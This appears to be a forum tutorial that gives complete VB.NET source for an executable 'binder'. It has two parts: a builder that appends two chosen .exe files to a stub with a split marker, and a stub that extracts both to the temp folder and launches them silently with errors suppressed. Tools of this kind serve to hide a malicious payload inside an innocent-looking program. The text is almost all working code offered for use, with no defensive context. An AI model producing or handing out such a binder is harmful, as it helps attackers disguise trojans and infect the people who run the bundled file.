.NET [VB.NET] Make your own binder [TUT]

Code

Dim ofd As New OpenFileDialog

        ofd.Title = ""

        ofd.Filter = "*.exe | *.exe"

        ofd.Title = "File 1"

        If ofd.ShowDialog = Windows.Forms.DialogResult.OK Then TextBox1.Text = ofd.FileName

        ofd.Title = "File 2"

        If ofd.ShowDialog = Windows.Forms.DialogResult.OK Then TextBox2.Text = ofd.FileName

Code

Dim stub, File_One, File_Two, Filename1, filename2 As String

        Const FileSplit = "47150"

        FileOpen(1, TextBox1.Text, OpenMode.Binary, OpenAccess.Read, OpenShare.Default)

        File_One = Space(LOF(1))

        FileGet(1, File_One)

        FileClose(1)



        FileOpen(2, TextBox2.Text, OpenMode.Binary, OpenAccess.Read, OpenShare.Default)

        File_Two = Space(LOF(2))

        FileGet(2, File_Two)

        FileClose(2)



        FileOpen(3, Application.StartupPath & "\Stub.exe", OpenMode.Binary, OpenAccess.Read, OpenShare.Default)

        stub = Space(LOF(3))

        FileGet(3, stub)

        FileClose(3)

        Dim OutputFile As String

        Dim sfd As New SaveFileDialog

        sfd.Filter = "*.exe | *.exe"

        If sfd.ShowDialog = Windows.Forms.DialogResult.OK Then

            OutputFile = sfd.FileName

        Else : Exit Sub

        End If

        Filename1 = TextBox1.Text.Substring(TextBox1.Text.LastIndexOf("\"))

        filename2 = TextBox2.Text.Substring(TextBox2.Text.LastIndexOf("\"))

        FileOpen(3, OutputFile, OpenMode.Binary, OpenAccess.ReadWrite, OpenShare.Default)

        FilePut(3, stub & FileSplit & File_One & FileSplit & File_Two & FileSplit & Filename1 & FileSplit & filename2)

        FileClose(3)

        MsgBox("Binded")

Code

On Error Resume Next

        Dim TPath As String = System.IO.Path.GetTempPath

        Const FileSplit = "47150"

        Dim file1, joesdaddy, filez() As String

        FileOpen(1, Application.ExecutablePath, OpenMode.Binary, OpenAccess.Read, OpenShare.Shared)

        file1 = Space(LOF(1))

        FileGet(1, file1)

        FileClose(1)

        filez = Split(file1, FileSplit)

        FileOpen(3, TPath & filez(3), OpenMode.Binary, OpenAccess.ReadWrite, OpenShare.Default)

        FilePut(3, filez(1))

        FileClose(3)

        FileOpen(5, TPath & filez(4), OpenMode.Binary, OpenAccess.ReadWrite, OpenShare.Default)

        FilePut(5, filez(2))

        FileClose(5)

        System.Diagnostics.Process.Start(TPath & filez(3))

        System.Diagnostics.Process.Start(TPath & filez(4))

        Me.Close()

        End